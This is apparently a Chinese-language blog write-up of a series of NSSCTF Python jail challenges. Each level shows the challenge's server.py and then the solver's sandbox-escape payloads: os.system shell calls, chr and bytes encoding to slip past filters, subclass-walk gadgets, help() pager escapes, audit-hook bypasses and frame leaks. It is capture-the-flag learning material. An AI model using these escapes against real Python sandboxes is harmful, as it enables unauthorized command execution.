PyJail
本文最后更新于 97 天前,其中的信息可能已经有所发展或是发生改变。

NSSCTF jail level 0

题解

  • server.py
WELCOME = '''
  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))
  • payload
__import__('os').system('cat flag')
open('flag').read()

NSSCTF jail level 1

题解

  • server.py
def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ __ 
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |                                  
             |___/                          |__/                                                                                      
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))
  • exp
a = "__import__('os').system('cat flag')"
exp = ""
for i in a:
    exp += f"chr({ord(i)})+"
print(f"eval({exp[:-1]})")
  • payload
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41))

NSSCTF jail level 2

题解

  • server.py
WELCOME = '''
  _                _                           _       _ _   _                _ ___  
 | |              (_)                         (_)     (_) | | |              | |__ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |  ) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / / 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |/ /_ 
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
              __/ |                          _/ |                                    
             |___/                          |__/                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))
  • payload
eval(input())
__import__("os").system("cat flag")

NSSCTF jail level 2.5

题解

  • server.py
#the length is be limited less than 13
#it seems banned some payload 
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
    BLACKLIST = ["exec","input","eval"]
    for i in BLACKLIST:
        if i in s:
            print(f'{i!r} has been banned for security reasons')
            exit(0)

WELCOME = '''
  _                _                           _       _ _ _                _ ___    _____ 
 | |              (_)                         (_)     (_) | |              | |__ \  | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| |  ) | | |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ | / /  |___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |/ /_ _ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/ 
              __/ |                          _/ |                                          
             |___/                          |__/                                                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))
  • payload
breakpoint()
__import__('os').system('cat flag')

NSSCTF jail level 3

题解

  • server.py
WELCOME = '''
  _                _                           _       _ _   _                _ ____  
 | |              (_)                         (_)     (_) | | |              | |___ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ ||__ < 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____/ 
              __/ |                          _/ |                                     
             |___/                          |__/                                                                                       
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload 
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))
  • payload
help()
+
!/bin/sh flag

NSSCTF jail level 4

题解

  • server.py
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']
eval_func = eval
for m in BANLIST:
    del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
    not_allowed = set('"\'`')
    print(not_allowed)
    return any(c in not_allowed for c in s)
WELCOME = '''
  _                _                           _       _ _   _                _ _  _   
 | |              (_)                         (_)     (_) | | |              | | || |  
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_ 
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |  
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_|  
              __/ |                          _/ |                                      
             |___/                          |__/                                                                                                                                             
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
while True:
    try:
        input_data = input("> ")
        if filter(input_data):
            print("Oh hacker!")
        print('Answer: {}'.format(eval_func(input_data)))
    except Exception as e:
        print(e)
  • payload
open(bytes([46, 47, 102, 108, 97, 103]).decode()).read() #  ./flag

NSSCTF jail level4.0.5

题解

  • server.py
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr', 'input','locals','globals']

my_eval_func_0002321 = eval
my_input_func_2309121 = input

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ _  _    ___   _____
 | |              (_)                         (_)     (_) | | |              | | || |  / _ \ | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_| | | || |__
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| | | ||___ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_| |_| | ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)\___(_)____/
              __/ |                          _/ |
             |___/                          |__/                                                                        
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,\",' Good luck!")
input_data = my_input_func_2309121("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(my_eval_func_0002321(input_data)))
  • payload
open(bytes([46, 47, 102, 108, 97, 103]).decode()).read()

NSSCTF jail level 4.1

题解

  • server.py
Answer: #No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']
my_eval_func_ABDC8732 = eval
my_input_func_001EC9GP = input
for m in BANLIST:
    del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)
WELCOME = '''
  _                _                           _       _ _   _                _ _  _  __
 | |              (_)                         (_)     (_) | | |              | | || |/_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_| |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_| |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)_|
              __/ |                          _/ |
             |___/                          |__/                                                                        
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,\",' Good luck!")
input_data = my_input_func_001EC9GP("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(my_eval_func_ABDC8732(input_data)))
  • payload
my_eval_func_ABDC8732(my_input_func_001EC9GP())
().__class__.__base__.__subclasses__()[137].__init__.__globals__['system']("sh")
cat f*

NSSCTF jail level 4.3

题解

  • server.py
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes','type','open']

my_eval_func_002EFCDB = eval
my_input_func_000FDCAB = input

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`+')
    return any(c in not_allowed for c in s)

def main():
    WELCOME = '''
  _                _                           _       _ _   _                _ _  _   ____
 | |              (_)                         (_)     (_) | | |              | | || | |___ \
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_  __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _||__ <
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)____/
              __/ |                          _/ |
             |___/                          |__/

    '''

    print(WELCOME)

    print("Welcome to the python jail")
    print("Let's have an beginner jail of calc")
    print("Enter your expression and I will evaluate it for you.")
    print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,\",',+ Good luck!")
    input_data = my_input_func_000FDCAB("> ")
    if filter(input_data):
        print("Oh hacker!")
        exit(0)
    print('Answer: {}'.format(my_eval_func_002EFCDB(input_data)))

if __name__ == '__main__':
    main()
  • payload
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[i for i in ().__class__.__base__.__subclasses__()[-4].__init__.__globals__].pop(47)](().__class__.__base__.__subclasses__()[6]([99, 97, 116, 32, 42]).decode())

NSSCTF jail level 5

题解

  • server.py
#It's an challenge for jaillevel5 let's read your flag!
import load_flag
flag = load_flag.get_flag()
def main():
    WELCOME = '''
  _                _                           _       _ _ _                _ _____
 | |              (_)                         (_)     (_) | |              | | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____/
              __/ |                          _/ |
             |___/                          |__/                                                                        
'''
    print(WELCOME)
    print("It's so easy challenge!")
    print("Seems flag into the dir()")
    repl()
def repl():
    my_global_dict = dict()
    my_global_dict['my_flag'] = flag
    input_code = input("> ")
    complie_code = compile(input_code, '<string>', 'single')
    exec(complie_code, my_global_dict)
if __name__ == '__main__':
    main()
  • load_flag.py
class secert_flag(str):
    def __repr__(self) -> str:
        return "DELETED"
    def __str__(self) -> str:
        return "DELETED"
class flag_level5:
    def __init__(self, flag: str):
        setattr(self, 'flag_level5', secert_flag(flag))
def get_flag():
    with open('flag') as f:
        return flag_level5(f.read())
  • payload
''.join(my_flag.flag_level5)
NSSCTF{3b707fa6-65d4-4cd3-8b5b-5bfa6b63bc2a}
breakpoint()
__import__('os').system('cat *')
flag=NSSCTF{3b707fa6-65d4-4cd3-8b5b-5bfa6b63bc2a}
my_flag.flag_level5.index('NSSCTF{*') #爆破

NSSCTF jail level 6

题解

  • server.py
import sys

def my_audit_hook(my_event, _):
    WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
    if my_event not in WHITED_EVENTS:
        raise RuntimeError('Operation not permitted: {}'.format(my_event))

def my_input():
    dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)


def main():
  WELCOME = '''
  _                _                           _       _ _   _                _   __
 | |              (_)                         (_)     (_) | | |              | | / /
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |/ /_
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ | (_) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
              __/ |                          _/ |
             |___/                          |__/                                                                        
  '''

  CODE = '''
  dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)
  '''

  print(WELCOME)

  print("Welcome to the python jail")
  print("Let's have an beginner jail of calc")
  print("Enter your expression and I will evaluate it for you.")
  print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
  print("Some code of python jail:")
  print(CODE)
  my_input()

if __name__ == "__main__":
  sys.addaudithook(my_audit_hook)
  main()
  • 非预期
__builtins__["__loader__"].load_module("_posixsubprocess").fork_exec([b"/usr/bin/cat", "flag"], [b"/usr/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__builtins__["__loader__"].load_module('os').pipe()), False, False, None, None, None, -1, None)
  • 预期
exec("globals()['__builtins__'].set=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag')")

NSSCTF jail level 7

题解

  • server.py
import ast
import sys
import os

WELCOME = '''

    _       _ _   _                _                         _                _ ______
   (_)     (_) | | |              (_)                       | |              | |____  |
    _  __ _ _| | | |__   ___  __ _ _ _ __  _ __   ___ _ __  | | _____   _____| |   / /
   | |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ |  / /
   | | (_| | | | | |_) |  __/ (_| | | | | | | | |  __/ |    | |  __/\ V /  __/ | / /
   | |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_|/_/
  _/ |                        __/ |
 |__/                        |___/

'''

def verify_ast_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del):
        print(f"ERROR: Banned statement {x}")
        return False
  return True


def exexute_code(my_source_code):
  print("Pls input your code: (last line must contain only --HNCTF)")
  while True:
    line = sys.stdin.readline()
    if line.startswith("--HNCTF"):
      break
    my_source_code += line

  tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST)
  if verify_ast_secure(tree_check):
    print("check is passed!now the result is:")
    compiled_code = compile(my_source_code, "input_code.py", 'exec')
    exec(compiled_code)
  print("Press any key to continue")
  sys.stdin.readline()


while True:
  os.system("clear")
  print(WELCOME)
  print("=================================================================================================")
  print("==           Welcome to the calc jail beginner level7,It's AST challenge                       ==")
  print("==           Menu list:                                                                        ==")
  print("==             [G]et the blacklist AST                                                         ==")
  print("==             [E]xecute the python code                                                       ==")
  print("==             [Q]uit jail challenge                                                           ==")
  print("=================================================================================================")
  ans = (sys.stdin.readline().strip()).lower()
  if ans == 'g':
     print("=================================================================================================")
     print("==        Black List AST:                                                                      ==")
     print("==                       'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef  ==")
     print("==                        Sub,Mult,Div,Del'                                                    ==")
     print("=================================================================================================")
     print("Press any key to continue")
     sys.stdin.readline()
  elif ans == 'e':
    my_source_code = ""
    exexute_code(my_source_code)
  elif ans == 'q':
    print("Bye")
    quit()
  else:
    print("Unknown options!")
    quit()
  • payload
@exec
@input
class A:
    pass
--HNCTF

__import__('os').system('cat flag')

NSSCTF s@Fe safeeval

题解

  • server.py
import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval

# https://github.com/Gallopsled/pwntools/blob/ef698d4562024802be5cc3e2fa49333c70a96662/pwnlib/util/safeeval.py#L3
_const_codes = [
    'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
    'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
    'BUILD_CONST_KEY_MAP', 'BUILD_STRING',
    'LOAD_CONST','RETURN_VALUE','STORE_SUBSCR', 'STORE_MAP',
    'LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE', 'DICT_UPDATE', 'DICT_MERGE',
    ]

_expr_codes = _const_codes + [
    'UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
    'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY',
    'BINARY_DIVIDE','BINARY_FLOOR_DIVIDE','BINARY_TRUE_DIVIDE',
    'BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT',
    'BINARY_LSHIFT','BINARY_RSHIFT','BINARY_AND','BINARY_XOR',
    'BINARY_OR',
    ]

blocklist_codes = _expr_codes + ['MAKE_FUNCTION', 'CALL_FUNCTION']

TURING_PROTECT_SAFE = True

banned = '''
    [
        'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
        'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
        'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
        'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
        'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
        'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
        'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
        'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
    ]
'''

code = '''
    import os
    import sys
    import traceback
    import pwnlib.util.safeeval as safeeval
    input_data = input('> ')
    print(expr(input_data))
    def expr(n):
        if TURING_PROTECT_SAFE:
            m = safeeval.test_expr(n, blocklist_codes)
            return eval(m)
        else:
            return safeeval.expr(n)
'''

WELCOME = '''
              ______                __                     _
        ____ |  ____|              / _|                   | |
  ___  / __ \| |__ ___   ___  __ _| |_ ___  _____   ____ _| |
 / __|/ / _` |  __/ _ \ / __|/ _` |  _/ _ \/ _ \ \ / / _` | |
 \__ \ | (_| | | |  __/ \__ \ (_| | ||  __/  __/\ V / (_| | |
 |___/\ \__,_|_|  \___| |___/\__,_|_| \___|\___| \_/ \__,_|_|
       \____/                                                                                                           
'''


def expr(n):
    if TURING_PROTECT_SAFE:
        m = safeeval.test_expr(n, blocklist_codes)
        return eval(m)
    else:
        return safeeval.expr(n)

try:
    print(WELCOME)
    print('Turing s@Fe mode:', 'on' if TURING_PROTECT_SAFE else 'off')
    print('Black List:')
    print(banned)
    print('some code:')
    print(code)
    while True:
        input_data = input('> ')
        try:
            print(expr(input_data))
        except Exception as err:
            traceback.print_exc(file=sys.stdout)
except EOFError as input_data:
    print()
  • payload
(lambda: os.system('/bin/sh'))()
cat flag

NSSCTF python2 jail

题解

  • server.py
WELCOME = '''
              _   _      ___        ___    _____             _    _ _   
             | | | |    / _ \      |__ \  |_   _|           | |  | | |  
  _ __  _   _| |_| |__ | | | |_ __    ) |   | |  _ __  _ __ | |  | | |_ 
 | '_ \| | | | __| '_ \| | | | '_ \  / /    | | | '_ \| '_ \| |  | | __|
 | |_) | |_| | |_| | | | |_| | | | |/ /_   _| |_| | | | |_) | |__| | |_ 
 | .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
 | |     __/ |                                        | |               
 |_|    |___/                                         |_|                               
'''

print WELCOME

print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data
  • payload
__import__("os").system('cat flag')

NSSCTF jail lake lake lake

题解

  • server.py
#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>9):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
 | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                    
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)
  • payload
1

globals()

{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f090e9a0ac0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7f090eb3fd90>, 'backdoor': <function backdoor at 0x7f090ea01fc0>, 'WELCOME': '\n'}

2

a34af94e88aed5c34fb5ccfe08cd14ab

__import__("os").system('cat flag')

NSSCTF jail l@ke l@ke l@ke

题解

  • server.py
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
    code = input(">")
    if(len(code)>6):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass
def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")
WELCOME = '''
  _         _          _         _          _         _        
 | |  ____ | |        | |  ____ | |        | |  ____ | |       
 | | / __ \| | _____  | | / __ \| | _____  | | / __ \| | _____ 
 | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
 | | | (_| |   <  __/ | | | (_| |   <  __/ | | | (_| |   <  __/
 |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
     \____/               \____/               \____/                                                                                                                                                                                                                                        
'''
print(WELCOME)
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)
  • payload

1 > help() > server > 1 > help() > server
第一次 help() 中查看 server 时,环境变为 server.py,此时可以查看变量
ke_9d38ee7f31d6126d = ’95c720690c2c83f0982ffba63ff87338′
NSSCTF{422d9d33-4c34-49ec-889c-a7fd7dd3f15a}

NSSCTF laKe laKe laKe

题解

  • server.py
#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__[m]


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1

    return game_score

WELCOME='''
  _       _  __      _       _  __      _       _  __    
 | |     | |/ /     | |     | |/ /     | |     | |/ /    
 | | __ _| ' / ___  | | __ _| ' / ___  | | __ _| ' / ___ 
 | |/ _` |  < / _ \ | |/ _` |  < / _ \ | |/ _` |  < / _ \
 | | (_| | . \  __/ | | (_| | . \  __/ | | (_| | . \  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|

'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
        print('you are really super guesser!!!!')
        print(open_func('flag').read())
    else:
        print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()
  • payload
list(__import__('sys')._getframe(1).f_locals.values())[1]

NSSCTF Side-channel/pyjail: tyPe Ch@nnEl

题解

  • server.py
MY_FLAG = "NSSCTF{fake_flag_in_local_but_really_in_The_remote}"
BLACED_KLIST = '"%&\',-/_:;@\\`{|}~*<=>[] \t\n\r'
def my_safe_check(n):
    return all(ord(m) < 0x7f for m in n) and all(m not in n for m in BLACED_KLIST)
def my_safe_eval(m, my_func):
    if not my_safe_check(m):
        print("Hacker!!!!")
    else:
        try:
            print(eval(f"{my_func.__name__}({m})", {"__builtins__": {my_func.__name__: my_func}, "flag": MY_FLAG}))
        except:
            print("Try again!")
if __name__ == "__main__":
    my_safe_eval(input("Payload:"), type)
  • 题目分析

eval 的执行环境很干净,啥都没有,能用的只有数据类型的初始属性,并且所有魔法方法都不能用,意味着全程只能用 flag 中存在的东西操作 flag

dir('')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
  • 新知识++

True == 1 False == 0 可用此来判断 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper'

flag.join(flag).split(flag).pop().split().pop(flag.join(flag).split(flag).pop({num}).isdigit())

